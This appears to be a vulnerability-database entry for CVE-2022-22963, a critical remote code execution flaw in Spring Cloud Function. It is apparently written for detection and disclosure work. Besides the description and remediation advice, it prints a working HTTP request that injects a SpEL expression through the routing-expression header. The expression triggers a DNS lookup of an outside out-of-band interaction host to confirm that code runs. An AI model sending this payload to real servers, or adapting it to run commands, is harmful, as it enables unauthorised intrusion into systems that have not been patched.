| Title | Spring Cloud - Remote Code Execution |
|---|---|
| Author | Mr-xn,Adam Crosser |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Apply the latest security patches provided by the Spring Cloud project to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94462 |
| CVE ID | CVE-2022-22963 |
| CWE ID | CWE-94,CWE-917 |
| Tags | cve cve2022 vulhub springcloud rce kev vmware vkev vuln |
Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions are susceptible to remote code execution vulnerabilities. When using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.
POST /functionRouter HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 8
Content-Type: application/x-www-form-urlencoded
spring.cloud.function.routing-expression: T(java.net.InetAddress).getByName("d5jm411le0o1hj15j6ugn5yh5dkbyiefy.oast.online")
Accept-Encoding: gzip
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🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-22963.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-22963.pcap
N/AN/A